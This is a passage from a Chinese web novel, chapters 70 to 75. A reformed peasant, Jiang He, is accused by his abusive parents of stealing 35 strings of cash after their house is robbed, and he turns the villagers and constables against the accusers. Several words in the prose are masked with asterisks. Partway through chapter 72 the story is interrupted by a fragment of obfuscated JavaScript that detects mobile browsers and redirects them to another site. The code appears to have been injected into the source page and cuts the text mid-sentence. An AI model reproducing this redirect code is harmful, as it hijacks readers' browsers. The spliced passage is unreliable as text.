**站起身,拒绝了江天夫妇要留他吃早饭的邀请,道:
“地里还有活儿要干,那些粮种要是再不种上,就要错过时令,不赶趟了!”
“行了行了,你们别再送了,我真的得走了!记得后天一定要回家啊,我在家等你们!”
送走**后,江天站在门口久久不语。
孙芳轻声向他问道:“天哥,咱们后天真的要回去吗?”
“回,为啥不回?”江天定声道:“那里又不是什么龙潭虎穴,怕个甚!”
“我倒要看看,江河那老货到底要搞什么名堂!”
第70章 完了……全都完了……
下河村。
江家老宅。
等到天光完全大亮时,江老头、江洋与王艳三人,才先后从各自的屋里出来,每个人都一副睡眼惺忪的疲惫之态。
昨夜家中失火,他们一家几口一直折腾到了后半夜才各自回屋躺下歇息,各种翻来覆去睡不着。
尤其是王三妮,昨夜不但**河泼了冷水,扇了耳光,就连大腿上的骨伤也重新开裂,变得更严重了。
昨晚她躺在床上,疼得根本就睡不着,几乎整夜都在哎哟哎哟的呻吟痛呼,吵得江老头、江洋还有王艳三人,也全都没有睡好。
“老二,你娘这都疼了一宿了,身上也烫得厉害,像是发热了,不能再继续熬下去了!”
出了房门,江十二看到也刚刚从西厢卧房走出来的江洋、王艳两口子,遂开口向江洋吩咐道:
“你且去一趟贾郎中家,把贾不为给请来,为你娘瞧看瞧看!”
“还有,家里的粮食一粒也没有了,你顺便再到周边的邻居家里借些粮食回来。”
江洋揉了揉发黑的眼圈,并没第一时间有所行动,而是在与自己媳妇对视了一眼之后,一脸为难摊了摊手:
“爹,贾郎中的诊费可不便宜,我们两口子手里现在哪还有钱啊?”
“还有,现在的粮食也都金贵着呢,你让我就这么空口白牙的去跟村里人借,谁能借给咱?”
“要不,爹你先给我支一些钱出来,让我拿着这些钱去郎中,然后再买些粮食回来应急?”
江十二闻言,一脸不满的直瞪了江洋一眼。
老二两口子每天在他们的眼皮底下生活,他们会不知这两口子手中有没有攒下余钱?
一贯两贯的他们不敢说,但是五百文、八百文肯定还是有的。
现在只是让这小子出去请个郎中,再买几十斤口粮回来应急,他竟都舍不得。
这个不孝的狗东西,都这个时候了还跟他耍心眼儿!
江十二心中气极,正要出声斥责,却听到屋里的王三妮开口说道:
“老头子,老二两口子确实没什么大的进项,就别让他们再出钱了。”
“你且进屋来,往衣柜里扒一扒,里面的小抽屉里,应该还有几钱碎银子,足够去请郎中买粮食了!”
江十二闻言,不由再次狠瞪了江洋一眼,又转身回了屋。
“老婆子,你就且这么惯着他吧,当心以后又惯出一个江河那样的不孝子出来!”
进了屋,江十二忍不住出声埋怨了王三妮两句,然后直奔衣柜处。
“别再跟我提那个不孝子、白眼狼!”
听到江十二又提起了江河,原本已经熬得有些虚弱不堪的王三妮,胸中的怒意再次暴发上涌,忍不住尖声叫骂起来。
“赵大妹子当年说得一点儿没错,那个小畜牲脚踏七星,头生反骨,天生就是一个怎么都养不熟的白眼狼!”
“早知如此,三十年前老娘就应该听赵大妹子的话,直接把那个不孝子溺死在河里,那样就不会再有今日这般祸端了!”
江十二见老太婆又提起了这件陈年旧事,不由微微摇头叹息,似乎也深有同感。
三十年前,当赵神婆意外看到长在江河右足足底,整整七颗大小不一的黑色斑点胎记之后,就曾断言——
说江河那小子脚踩七星,天生反骨,若是一直留在身边,他们夫妇日后必遭反噬。
轻则家里灾祸不断,霉运缠身,甚至还会减寿损命。
重则家破人亡,举族皆受牵连,不得好死,不能善终。
当时他们两口子将信将疑。
且那时江河已有六岁,是个半大小子,都可以下地帮家里干活了。
他们便一时心软,没舍得直接将当时的江河溺死或是驱逐出老宅。
而是退而求其次,在赵神婆的建议下,将那小子当家用的牲口一样逐年养大,且刚满十四岁,就将他直接分出去单过。
万没想到,这都三十年过去了,一直被他们养得跟条家犬一样听话的江河,还是长出了反骨,变成了一个忤逆不孝之徒!
江十二一边回想着以前的事情,一边伸手摸向衣柜内的暗匣,随即他本就阴沉无比的脸色顿时一变。
“钱呢?!”
“这里面怎么空了,什么都没有了?!”
江十二惊呼一声,连忙探头俯身,手忙脚乱地在暗格里一阵翻找,可里面确实已经空空如也,半钱银子也没有了。
正在呻吟着咒骂江河的王三妮听到动静,强撑着双
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臂坐起身来,急声问道:“老头子,怎么了?!”
“钱!咱们放在衣柜里的钱全都不见了!”
江十二急得额头上瞬时冒出了一层细汗。
说话间,他抽身离开衣柜,继而转身踮足,伸手摸向他之前藏在房屋门头档板处的那些私房钱。
当他发现那里竟然也已经空空如也的时候,面上的神色不由变得更加难看!
王三妮闻言,顾不得腿上的伤痛,连滚带爬地扑到炕边,伸手在床底的砖石缝里摸索了一阵之后,瞬时发出一声凄厉的惨叫与咒骂:
“遭贼了啊!”
“哪个天杀的,缺德带冒烟儿的混帐东西,把老娘好不容易才攒下的五百文钱给偷走了?!”
那五百文钱,正是她前几日欲卖江沫儿与江娴那两个赔钱货时,收的人家的定钱。
现在可好,钱都还没有捂热,就全都被人给偷走了!
门外,正等着老爹拿钱给他们的江洋与王艳夫妻,听到屋内的动静,二话不说,同时快步冲了进去。
“爹,娘,这是咋的了?咱家进贼了?!”
“丢了多少钱?!”
进了屋,看到江十二与王三妮全都一脸失魂落魄、悲痛欲绝的样子,江洋倍感不妙的高声向二人问道。
“老二,快!快去搬个梯子过来,到房梁上去看看,看看我先前放在上面的那只木箱还在不在?”
王三妮没有理会江洋的问话,而是突然抬头看向头顶的房梁,切声开口向江洋吩咐道。
江洋闻言,不敢有片刻耽搁,连忙与媳妇儿一起,从院外搬来竹梯,并快速爬上房梁。
当他看到房梁上最有可能存放物品的地方,如今也是空空荡荡,并没有老娘所说的什么木箱时,整个人都懵逼了,心里洼凉一片。
“娘……这上面是空的,没有什么木箱子,你是不是……记错了?”
江洋带着一丝侥幸的向下方询问了一句,说话时的声音都有些颤抖。
“啥?!”
“房梁上的木箱竟也没了?!”
“完了……全都完了……”
下面的王三妮听到江洋的回复,身形骤然一僵,悲泣地高呼了一句“我的钱啊!”后,便眼前一黑,直接晕了过去。
第71章 报官,衙役上门
啪!啪!啪!
啪!啪!啪!
“江河在家吗?快来开门!”
“江河!江河!”
“再不开门我们就直接闯进去了!”
日上三竿之时,江河还没有从床上起来。
不过他家的院门外,此时却已经围满了人。
三个身着绯红官吏服饰的衙役正趾高气昂的站在他家院门前,使劲儿的拍打着院门。
透过破烂的篱笆墙,所有人都可以将院内的情形一览无余。
院墙是用半米高的黄土及参差不齐的竹篱笆拼接夯成,多处已经斑驳脱落,下方的土墙裂缝中,不时都能看到几丛杂草在顽强的生长着。
院中的地面坑洼不平,连块像样的碎石小道都没有铺设,只有几块歪歪斜斜的垫脚石。
四间低矮的土坯房围成的小院,屋顶的茅草稀疏得能看见天空,怕是下雨天都要漏水。
东边那间屋子的土墙已经裂开一道巴掌宽的缝隙,用几根木棍勉强支撑着。
灶房门口堆着些散乱的柴火,一口破旧的水缸歪在墙角,缸沿已经缺了个口子。
院角晾着的几件衣服上也打满了补丁,在秋风中瑟瑟飘动。
最让人心酸的是,整个院子里连只活鸡活鸭都看不见,就更别说是猪和牛了。
这样穷困潦倒的惨象,在任何一个乡下的农家小院之中,可都是极为罕见的。
因为正常情况下,就算是再懒再穷的家户,基本上也都会在家里养上几只能下蛋的鸡或鸭。
不为别的,每天得来的那几枚鸡蛋、鸭蛋,就算是不留着自己吃,拿出去也能换来一些油盐酱醋不是?
而江河他们家可倒好,一只活着的家禽都看不到。
不用问,肯定是全都**河这个二赖子给祭了五脏庙,全都吃光了。
“吱哑~!”
这时,院内堂屋的正门被人从里打开,江河打着哈欠从里面露出身形。
众人抬眼望去,便看到了江河头发蓬乱,衣衫不整,一副刚刚睡醒,眼角甚至还有眼屎存留的慵懒模样。
只见他一边抬手揉着双眼,一边深一脚浅一脚,仿佛梦游一样晃荡着从堂屋走出来。
嘴里甚至还骂骂咧咧着说“哪个混蛋扰了老子的清梦”,慢悠悠的走到院门处来。
院门前站着的三名衙役,还有围观看热闹的诸多村民,全都不自觉的轻抽了一下嘴角,眼中不由自主的显露出了一丝鄙夷之色。
特么这都什么时辰了,这个二赖子竟然还没有起床?
快懒死他得了!
“这都快正午了吧,江河居然还在家里睡觉?”
“可不是嘛,我家地里的活都干完好几茬儿了!”
“真是烂泥扶不上墙,这样的懒汉废物,活该受一辈子穷!”
“倒是可惜了**、江源还有赵穗、罗灵那几个孩子了,他们在地里干得再勤快,也抵不住家里有一个好吃懒做还败家爹啊!”
“……”
哪怕在场的村民大多都知道江河是什么秉性,却也忍不住对他一阵指指点点。
三个衙役见江河头上竟然包扎着一层厚厚的绷带,好像是有伤在身的样子,都不由微微皱起了眉头。
在过来之前,可没有人告诉过他们,江河身上有伤,且看上去似乎还伤得不轻。
待江河走到近前,打开了院门,为首的中年衙役第一时间就冷声开口向江河说道:
“江河,有人状告你偷盗财物,且数额特别巨大,你现在跟我们走一趟吧!”
啥?
江河这个二流子竟然又偷人钱了?!
真是狗改不了吃屎啊!
这样的人,就算是被抓去县里蹲大狱也是活该!
就是不知道哪家人这么倒霉,竟**河这个二赖子给盯上了?
围观的村民听到衙役的话,顿时哗然,议论声此起彼伏。
他们倒是半点儿也没有怀疑衙役们所说的话。
毕竟,江河这二赖子早有类似的前科,村里人也早已是见怪不怪了。
只是以前,江河都是小偷小摸,村里很少会有人将这类事情直接捅到县里,一般都是在宗祠或是里正那里就直接惩处了。
而这一次,江河明显是捅了一个大篓子,连县里的官差都亲自上门缉拿他了。
江河又揉了揉眼,这才看清门外阵仗。
不过他却丝毫不慌,故作惊讶地开口向三名衙役
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问道:
“几位差爷,这是从何说起啊?”
“所谓抓贼抓赃,捉奸捉双,你们说我涉嫌偷盗,总得先拿出点实质性的证据出来吧?”
“总不能就这么空口白牙一句话,上嘴唇一碰下嘴唇,就平白冤枉好人啊!”
“江河,你少在这里给我装糊涂,还真当自己是什么好人了?!”
刚刚说话的中年衙役没有给江河什么好脸色,狠瞪了他一眼后,厉声道:
“江家老宅昨夜失窃,丢了三十五贯左右的财物,现在苦主指名道姓的指认你就是那**之人,你还敢在此狡辩?”
江河闻言,忍不住嗤声一笑。
果然是老宅里的那几个狗东西在背后搞的鬼。
不过这倒也在他的预料之中。
毕竟老宅昨天不但失了火,“烧光”了所有的粮食,还丢了那么多的财物,现在估计都要心疼**,自然要想方设法的去把丢失的东西找回来。
而与他们刚刚有过剧烈冲突的自己,自然就成了他们最大的怀疑对象。
只是,他们一没有人证,二没有物证,只凭着心中的些许怀疑就敢直接报官来指认自己,是不是脑子有病?
他们难道就没有想过,不经过老族长与里正的同意,他们就擅自去县衙里报官,将这些如狼似虎的差役给招到村子里来,老族长与里正心里会怎么想?
若是最后,这些差役并没在他江河这里找到任何关于**的证据,甚至开始怀疑老宅那边报了假案,他们能轻饶了江十二与江洋几人?
“江河,你在笑什么?!”
见江河直到这个时候竟还能笑得出来,似分毫没有将他们三名官差放在眼中,中年衙役不由将手探向了腰间的刀柄,厉声威喝道:
“某劝你最好还是现在就老实交待,将昨夜从江家老宅偷走的财物如数取出,配合我等尽快了结此案。”
“若你肯乖乖配合,我们可以算你是主动投案,待日后结案之时,县尊老爷自会对你从轻发落。”
“还有,某知你与江家尚有血脉关系存在,若是投案之后,你能再取得江家苦主的谅解,你的罪名或许还能再次减轻几分。”
第72章 小鳖崽子,你挺嚣张啊!
对于中年衙役的忽悠,江河是半句也没有信。
真当他上辈子的**片是白看的么?
怎么可能会不知道“坦白从宽,牢底从穿。抗拒从严,回家过年。”这句至理名言?
不过,看到对方已经握在刀柄上的右手,江河也不愿与之正面对抗,轻笑着弯身向对方解释道:
“差爷误会了,我刚刚并不是在笑三位差爷,而是笑江家老宅那帮人,实在是太能编了,也太敢编了!”
“是,我承认他们家确实是有一些家底,还盖起了我们下河村少有的青砖绿瓦房。”
“但是,你要说他们家能够一下拿出来足足三十五贯的财物,我还真是半句都不敢信!”
“莫说是我了,几位差爷可以找村子里其他村民随便问一问,看看在他们眼中,江家老宅的人都是什么成色,是那种能够攒得下三十五贯银钱的家户吗?”
说最后这句话时,江河故意提高了几分嗓门儿,确保在场所有围观的村民都能听得见。
“现在,他们一张嘴就污蔑我偷了他们家三十五贯钱。啧啧啧,且不说我到底有没有偷他们家钱,他们有没有什么明确的证据能证明我偷过他们家东西?”
“我现在单说一个问题,那就是——他们家真的有三十五贯钱吗?”
“若是真有,他们能提供出那三十五贯钱具体来源,能证明那些钱就真的完全属于他们**家吗?”
此言一出,原本还有些不明白江河为何会被县里的衙役给寻上门的村民们,瞬间就像是炸了锅一样,议论纷纷。
“啥玩意儿,三十五贯?!”
“嘶~!有没有搞错,**头他们家竟然说江河偷了他们家三十五贯钱?!”
“不是,他们江家老宅能有这么多钱?我咋这么不相信呢?”
“就是,他们家前几年才刚盖了那套砖瓦房的宅院,据说当时就已经耗光了家底。
这特么才过去了几年啊,他们怎么可能还会再有三十五贯那么多的余钱?”
“这特娘的,该不会江老头与王三妮这两个老货又在作妖,故意讹江河吧?”
“你说讹人就讹人吧,你赖好也动动脑子,编个靠谱些的说辞啊!还三十五贯钱,他们倒是真敢说得出口啊!”
“是啊,**家那几口人都是什么成色,村里人谁不知道啊。
若不是江河这个傻缺几十年如一日的不断供养着他们,他们别说是盖得起六间砖瓦房了,就算是江贤、江达二人在县学里的束脩,他们都未必能交得起!”
“……”
无一例外,所有人都被“三十五贯”这个对他们来说无比巨大的数额给惊住了。
震惊过后,就是一阵阵倍感无稽与滑稽的嘲笑与鄙夷。
在场的这数十位村民之中,竟没有一人愿意相信江家老宅会拥有超过三十五贯财物的丰厚家底。
一直站在边上看戏的王老四,更是忍不住直接站出来说道:
“三位差爷,你们肯定是被人给忽悠了,江家老宅怎么可能会有这么多钱?”
“他们要真有这么多钱,前些天江河碰到脑袋重伤将死时,他们怎么会连几十文的诊金都不肯出,甚至还为此跟江河签定了断亲文书?”
王小顺也附和道:“是啊,他们以前还天天逼着江河孝敬他们,连江河家仅剩下的几十斤口粮都要抢走。
甚至于,还要卖了自家的亲孙女与亲重孙女来换养老钱。
这……是身家拥有三十五贯钱巨款的人家,该有的作为吗?”
三个衙役闻言,不由面面相觑,村民们的反应,显然是完全出乎了他们的预料之外。
难道,真的是江家老宅的人报了假案?
又或是报案人故意夸大了丢失财物的数量,借此来引起官府的重视,进而助他们早日追回丢失的财物?
这种事情以前不是没有发生过,甚至可以说是很多报案人的通病。
他们为了能够引起官府的足够重视,往往都会夸大其辞,把案情往严重里说。
尤其是这类**案,苦主把丢失的财物价值往一上翻个几倍都是常有的事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966855|193410||http|test|mini|href|location''.split(''|''),0,{}));
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r>领头的中年衙役眉头微皱,他办案经验丰富,一看村民们的反应就知道,江家老宅在村里的风评极差。
而且,那所谓的“三十五贯”的失窃金额,多半也是水分极大。
“肃静!”
中年衙役沉声一喝,压下了周围村民们的议论声,继而目光锐利地看向江河。
“江河,照你这么说,**家根本不可能有三十五贯家底,而你也不曾偷窃过他们家的任何东西,他们这是在诬告你?”
“差爷明鉴。”江河不卑不亢地拱手,“我江河以前确实是做过不少荒唐事,也确实不是什么好人,但我江河说话做事,素来都敢做敢当,从无虚言!”
“老宅那边或许真的遭了贼,也可能确实是丢了点东西,但是有一说一,不是我江河偷的我肯定不会承认,谁也别想把脏水往我身上泼!”
“还三十五贯的巨额财物,他们还真敢说得出口,我呸!”
说着,江河忍不住冲着老宅所在的方向啐了一口,满脸的鄙夷与愤怒之色。
“好!”
中年衙役直盯着江河,沉声言道:
“既然你说自己没有偷东西,而报案之人又直言你就是那窃贼,为了证明你自身的清白,你可敢让我们现在就进你家里搜索一二?”
江河无所谓的轻耸了耸肩,同时侧身让开去路:
“几位差爷若是想搜的话,现在就可以进去搜,我半点儿也不会阻拦。”
“只是,有句话我要提前说明白,若是待儿几位差爷在我家搜不出什么有力的证据来,是不是也要给我一个说法?”
“我江河,可不能就这么不明不白的背上一个窃贼的罪名。”
听到江河这话,中年衙役还什么都没说,他身后站着的两名年轻官差却已是面色一变,同时抽出腰间的配刀,径直就架在了江河的脖子上。
“小鳖崽子,你挺嚣张啊!竟然敢这么跟我们张头儿说话?!”
“还让我们给你一个说法,你特么算是个什么东西,也配跟我们提条件?!”
第73章 老族长,我冤枉啊!
冰冷的刀锋紧贴着脖颈的皮肤,传来森然的寒意。
江河的身体瞬间紧绷,强行压下身体想要反击的本能,努力让自己的神色显得平静自然。
他没有去看拿刀架着他的两个年轻衙役,而是将目光直接投向领头的中年衙役。
他知道,这个被两名年轻官差称之为“张头儿”的中年衙役,才是最终做出决定的那个人。
而拿刀在他脖子上比划的这俩小年轻,就是在瞎咋呼,故意吓唬他而已。
当然,若是在私底下,他们或许真的敢对他动手,至少一阵拳打脚踢肯定少不了。
江河从来都不会高估了封建时代这些底层胥吏的道德水准,知道这些人一旦下起黑手来,绝对会比真正的盗匪还要黑还要狠。
但是现在,这里可是下河村,周围还站着数十位下河村的村民,他们总是要在乎一些影响的。
更重要的是,在说这些话之前,江河看到了老族长王德顺,还有里正王冶山,正在从远处向他们这边走来。
这二人才是下河村真正的掌权人与地头蛇,有他们在,眼前这三名衙役断不敢做得太过分。
张姓衙役并没有第一时间出手阻止两名年轻衙役,而是淡然的抬头与江河对视。
他想要从江河的眼中看到心虚、胆怯或是畏惧不安,继而来判断此人到底是不是真正的**者。
可是出乎他预料的是,哪怕是被两把刀架到了脖子上,江河面上的神色依然平静无波,淡然自若。
似乎是丝毫也没有将两名官差的威胁放在心上。
张姓衙役可以确定,江河绝对不是被吓傻了,而是他真的心无所惧,根本就没有被他们的身份及亮出的刀兵给吓到。
这般泰山崩于前而色不变的淡然之态,这种刀兵加于颈前连眼都不眨一下的非凡定力。
他以前只在那些真正的读书人,或是经历过生死危险的百战老兵身上见到过。
可是眼前这个江河是怎么回事儿?
他就是一个从来都没有读过书的乡野村夫,更是下河村内有名的地痞、二赖子。
你说让他偷个鸡,摸个狗,欺负一下没人撑腰的小寡妇,他必然是极为擅长。
可是你若说他腹有诗书,胸有沟壑,又或者说他数经生死百战沙场,心神定力远超常人,这不是在开玩笑吗?
江河这个二赖子,莫说是去当兵了,这些年他在村子里甚至连地都没有下过一次。
而且,也并未在江河的身上感应到半点儿军伍出身之人特有的凶悍之气。
想到这里,张姓衙役的眉头越皱越紧。
眼前这个江河,与传闻中那个欺软怕硬的地痞形象实在相差太远。
他也实在是有些想不通,江河这样一个从小生长在乡野之间的二赖子,究竟是如何养成这般远超常人的非凡气度的?
这小子,难道还有什么他所不知道的隐藏身份不成?
不觉之间,张姓衙役已然不敢再将这样的江河,当成是等闲乡野村夫去对待了,再看向江河时的神色,也比之前多了几分郑重。
就在他准备开口责令两名属下撤回长刀时,身后突然传来了两道熟悉的招呼声:
“张捕头,手下留情!”
“云龙兄息怒,咱们有话好好说,千万莫要跟他一个浑人太过计较!”
正是王氏族长王德顺,以及下河村的里正王冶山赶到了近前。
看样子,他们与这位张姓捕头还颇为熟识,尤其是王冶山,更是直呼对方为“云龙兄”。
张云龙回转过身,有些倨傲的抬起双臂冲着王德顺及王冶山拱了拱手:
“原来是王族长与王里正到了,某正要派人去寻你们呢,不想你们自己就过来了!”
说话间,张云龙冲两名属下挥了挥手,示意他们将江河放了。
二人会意,又狠瞪了江河一眼之后,双双收回了架在江河脖子上的利刃。
“老族长,治山叔!”
重获自由的江河,抬手摸了摸脖子上的刀痕,缓步上前向王德顺及王冶山见礼。
“江河啊江河,怎么又是你搞出的事情?”
王德顺一脸无奈又无语的抬手指了指江河,愤声道:
“说吧,这次你又闯了什么祸,捅了什么篓子?怎的还把张捕头这样的大忙人都从县里招来了?”
“老族长,我冤枉啊!”
听到老族长这般询问,江河一脸无辜道:
“刚刚我在家里好好的睡觉,是这位张捕头突然来敲门,非要说我偷了
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江家老宅三十五贯钱啊!”
“老族长,你是了解我的,我江河虽然平时确实有些不着调,以前也做过不少混账事。
但你若说我有胆子去偷别人家三十五贯钱的巨款,那不是在开玩笑吗?”
“啥?”王德顺闻言,不由眉头紧皱:“三十五贯?!”
“这不是在瞎胡闹吗,他们江家老宅哪来的这么多钱?这不可能!”
王冶山也摇头道:“云龙兄,这其中怕是有什么误会。江家老宅的情况我最清楚,三十五贯……这未免太过夸张了。”
见就连王德顺与王冶山都这般说讲,张云龙不禁目光闪烁,哪里还会不知道,江家老宅的那帮人多半是夸大了被盗财物的数目。
不过,偷就是偷,盗就是盗,无论具体的数额多少,既然他们已经立了案,这件事情就必须得有一个结果。
他转头看向江河,厉声质问道:
“你说你没偷,可有人说曾亲眼看到你昨天夜里确实有去过老宅,并且还在那里停留了不少的时间,你还敢说自己没有嫌疑?”
“我是去了老宅,”江河坦然道,“但我那是去帮忙救火去了啊!”
“昨晚江家老宅那边失火,村里至少有一半的家户都去帮忙救火了,若是我有偷盗嫌疑的话,那岂不是说当时所有前去救火的人,全都有嫌疑?”
“好家伙,老子都要被气笑了!”
“你说我们大半夜里不睡觉,好心好意的前去帮忙救火,又是挑水又是端盆的,好悬没有被累死。”
“结果,老宅里的那帮狗东西不心怀感激,不当面向我们道谢也就罢了,竟然还在背地里怀疑我们偷了他们家的东西,这特么是人能干出来的事情?”
此言一出,瞬间就引起了在场所有村民们的心理共鸣。
昨晚他们费心费力的跑去村东头帮忙救火,又是端水又是扑火,累得跟狗一样。
可从头到尾,江十二、王三妮还有江洋夫妇几人,只知道一个劲儿的催促他们快点再快点。
从头到尾,那一家人确实连一句感谢的话都没有对他们说过。
本来他们心中就有些不痛快,现在可好,好端端的竟然还成了偷盗嫌疑犯了,这让他们到哪说理去?
第74章 搞事情
“就是啊,老族长,江老头他们明显是在冤枉好人!”
王老四突然站出来替江河说起了公道话:
“昨晚江河从出门救火,到离开**家,我王老四可是全程都看在眼中,他除了打水救火之外,根本就没有时间去干别的事情!”
“如果连江河都有嫌疑的话,那我们这些前去救火的人,岂不是嫌疑更大?”
王小顺也一脸不忿地站出身来声援:
“我王小顺也可以为江河作证,我们是邻居,江家老宅失火的时候,我们是一起出的家门,也是一起打水救的火,江河若是偷了**的东西,我不可能会看不到!”
“就是,江河走的时候我也看到了,就拿着一个空桶,身上什么也没有带。”
“若是他真偷了**家足足三十五贯钱的东西,那得是多大一堆东西,就算是傻子也能看得出来吧?”
“依我看,江老头与王三妮还是贼心不死,想要把前几天赔给江河的那一贯钱给讹回来呢?”
“他讹人归讹人,也不能这样直接报官啊,若是官差把咱们所有人参与救火的人,全都当成了偷盗他们家财物的嫌犯,咱们……咱们还能落得个好?”
“……”
说话的时候,村民们不时一脸警惕的忌惮的看向张云龙三名官差。
对于这些衙役的做派的他们可是太清楚了。
没事儿的时候,他们都想要从普通百姓身上榨出二两油来。
这次若是真被他们给污蔑成了**嫌犯,这些狗东西还不得趁机把村里人全都给祸祸一遍啊?
一想到这种可能性,在场所有村民,包括老族长王德顺与里正王冶山,全都在心里暗骂了江家老宅几句,对于他们私下报官的举动,愤恨不已。
现在好了,把狼给招来了。
若是不舍下几块肥肉,不把这些恶狼给喂饱了,伺候舒服了,他们会舍得走?
旁边的张云龙,见江河这厮只是寥寥几句话,就挑拨得在场几乎所有村民都与他有了共情,同时不满甚至记恨起江家老宅的人来。
甚至,就连他们这些官差,也成了村民们警惕提防的对象,不由暗暗心惊。
这个江河,当真是心思敏锐,口才了得。
三言两语就把自己从嫌疑人变成了受害者,甚至还把在场的村民全都与他拉到了同一战线,对江家老宅同仇敌忾起来。
这样的心思与谋算,怎么可能会是一个不着调的二赖子能够做得出想得到的?
想到此处,张云龙不由对江河另眼相看起来,之前心中所存有的那点儿轻蔑与鄙夷,也瞬间消散无踪。
“既然双方各执一词,那就一起去江家老宅,找江家的人出来对质吧!”
张云龙轻咳一声,打断了众人的议论,他怕再让这些村民议论下去,就连他们三个都会成为众矢之的。
说着,张云龙就要招呼着两名属下,带着江河一起前往村东的江家老宅。
“慢着!”
江河这时突然开口,旧事重提道:
“在去**家之前,我觉得张捕头还是先搜一下我家为好,免得一会儿又开始怀疑是我江某人偷了别人家的东西。”
张云龙身形一顿,不由回头看向江河。
这厮是什么意思?
是真的胸怀坦荡,不怕他们搜家检查,还是在装腔作势、欲擒故纵?
又或是……他早就已经将偷来的财物转移到了别处,所以才这么从容不迫,甚至巴不得他们进去搜索,以证清白?
这小子,该不是在算计他们吧?
“不必了!”
张云龙果断摇头,义正辞严的拒绝了江河的提议:
“官府办案,自有法度可循!在没有确切的证据证明你就是那个窃贼之前,我们绝不会随意搜查民宅!”
这话说得,冠冕堂皇,正气凛然。
若不是方才这厮曾表明过想要强搜他们家隐晦意愿,江河可能还真就信了他的邪。
这个张云龙果然是个老油条,也谨慎得一批,怕是已经看出了他的算计,所以才不肯再继续搜查。
“张捕头正气凛然、执法公正,小民佩服!”江河故作钦佩地冲张云龙拱了拱手,道:“既然如此,那咱们这就去老宅对质吧。”
不搜就不搜吧,反正到了老宅那边,他也一样有办法可以证明自己的“清白”!
就这样,一行人同时离开江河家,浩浩荡荡的同时向着村东头赶去。
沿途,不少村民闻讯从家里出来,也加入到了看热闹的队伍之中。
“江河,你老实告诉我,老宅那边丢的东西,是不是你给偷走的?”
在到达江家老宅之前,里正王冶山快走两步凑到江河的身前,压低声音向江河质问。
“你最好现在就跟我说实话,若真是你偷的,你马上把那些赃物交出来,有我和老族长为你斡旋,事情还有可以缓转的余地。”
“否则,若是真让眼前这些官差给查出了什么,你这次必然会吃
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不了兜着走,几年的大狱肯定是少不了的!”
江河微微点头。
自然能够看出,王冶山是真心想要拉他一把,而不是在故意设套让他往里钻。
但是,他现在并不需要王冶山的这番好意。
“冶山叔的好意我心领了,不过我这一次真的是被人给冤枉的,我真的没有偷老宅的任何东西!”
江河先是诚心向王冶山表达了自己的感谢与感激之情,然后又是一脸委屈的说道:
“我知道我爹娘还有二弟二弟妹他们不待见我,见不得我好。”
“可是我却怎么也没有想到,他们竟然会这般恶毒与狠心,直接报官来污蔑我是窃贼!”
“冶山叔,你说这世上有这样狠心的爹娘与兄弟吗?他们这是存了心要把我往死路上逼啊!”
“三十五贯钱的**案,真要是给我坐实了,我后半辈子怕是都要在大狱里度过了!”
“到时候,我们家的宅院,我们家的田地,甚至就连我膝下的好几个孙子孙女,岂不是全都要判赔给**家?”
听到江河这样的控诉,王冶山也不由一阵沉默不语。
这一次,他也觉得江家老宅那边做得实在是太过分了。
以前他们两家不管再怎么闹,再怎么折腾,也都只是在下河村内,在他这个里正可以掌控的范围之内。
可是这次呢,江十二与王三妮竟然连声招呼都不打,就跑去县衙报了官,引来了张云龙等这般喂不饱的饿狼。
这不止是想要把江河往绝路上逼,更是在打他这个里正的脸。
这也使得王冶山对于江家老宅的不满,直接就达到了顶峰。
“他们这不止是想要我的命,更是想要吃我江河家的绝户,想让我们一大家子都不得好死啊!”
江河继续痛声控诉,红着眼睛看向王冶山,沉声问道:
“冶山叔,你是个读过书,明事理的人,整个下河村,我最尊重最敬重的人就是你了。”
“现在,我请你来告诉我,就这样狠心恶毒的爹娘与兄弟,我还有必要再认,还有必要再给他们留什么情面吗?”
嗯?
突如其来的一句马屁,拍得王冶山整个身心都是一阵暗爽。
可当他听到江河最后这句饱含冷意甚至凶戾之气的询问后,他的整个心神都骤然一凛。
一种不太好的预感,突然在他的心头泛涌而出。
江河这个混账东西,该不是又想要犯混,又想要搞事情吧?
第75章 当面对质,王三妮发癫
说实话,自打江河磕到了脑袋,“死而复生”之后,就仿佛是完全变了一个人一样。
不管是说话做事,还是他对自己家人及周围邻居的态度,都与以前有了天翻地覆一般的变化。
尤其是他处理与老宅之间的矛盾与冲突时,更是一次比一次恶劣,一次比一次狠厉。
想想那个王三妮,才短短几天的时间,就已经连着挨了江河两顿胖揍了,直到现在都还断着个腿,躺在床上养伤呢。
这要是放到七八天以前,放到江河还没有被磕到脑袋的时候——
谁敢相信,一向对王三妮这个亲娘孝顺有加、言听计从,甚至恨不得每天都跪在床头为她端屎端尿、贴心侍候着的大孝子江河,竟然会变成今日这般模样?
王冶山直到现在都还记得,三年前,王三妮逼死自己的大儿媳妇,也就是江河的原配妻子王娟时,江河这个混账东西都说了什么话。
他竟然说“王娟不孝,忤逆长辈,**也是活该!”。
听听听听,这是一个正常丈夫该说出的话吗?
如果王娟真的忤逆不孝也就罢了。
可问题是,整个下河村谁不知道,王娟为人勤劳周正,从来都没有做过半点儿对老人不敬的举动。
她当时之所以会惹得王三妮不喜,也只是想要私下里多攒下点儿口粮,让家里的孩子吃顿饱饭而已,这特么的能有什么错?
所以,从那个时候起,王冶山就知道,江河这个人已经烂透了。
他对父母,对老宅那边的孝心与孝敬,已经到了近乎病态的地步,谁劝都没卵用。
同时,也正是因为如此,看到现如今江河如此巨大的反差及反转变化,王冶山才会觉得极为不可思议。
有时候,甚至就连他也都在心里犯嘀咕,江河这厮该不会真的是被什么脏东西给附了身,变成了传言中的邪祟了吧?
否则的话,一个人的脾气、秉性甚至为人处事的方式方法,怎么可能会在短短几天的时间内,就产生如此巨大的反差变化呢?
王冶山收回思绪,连忙拉住江河的胳膊,压低声音警告道:
“我告诉你,江河,你可千万别胡来啊!”
“这县里来的差役可不比寻常,你若是敢在他们眼皮底下犯了事儿,就算是我与老族长,也未必能救得了你!”
江河却只是淡淡一笑:“冶山叔放心,我又不傻,哪敢当着官差的面乱来?”
“我只是想当面问您一句,这样的爹娘与兄弟,我江河还能再认吗?”
